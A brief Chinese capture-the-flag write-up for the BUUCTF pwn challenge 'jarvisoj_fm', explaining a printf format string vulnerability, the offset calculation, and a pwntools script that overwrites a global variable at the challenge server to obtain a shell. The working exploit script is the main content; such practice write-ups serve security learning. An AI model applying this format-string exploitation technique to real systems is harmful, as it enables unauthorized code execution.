BUUCTF-PWN-jarvisoj_fm

checksec

image-20220201202908077

IDA

image-20220201202949804

main函数中可以看到,只要满足第12行的if条件,就可以拿到shell。而第9行中的read操作不可溢出,因为buf的长度为0x5C,但读入限制的长度为0x50,所以不能进行栈溢出。但是第10行使用了printf函数,那么我们可以考虑使用格式化字符串漏洞,从而使得下面的if条件成立。

偏移计算

image-20220201203513923

0x61616161代表了aaaa,所以可以数一下偏移为11。

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('node4.buuoj.cn', 27200)

x_addr = 0x804A02C

payload = fmtstr_payload(11, {x_addr: 4})

p.sendline(payload)
p.interactive()

结果

image-20220201203702918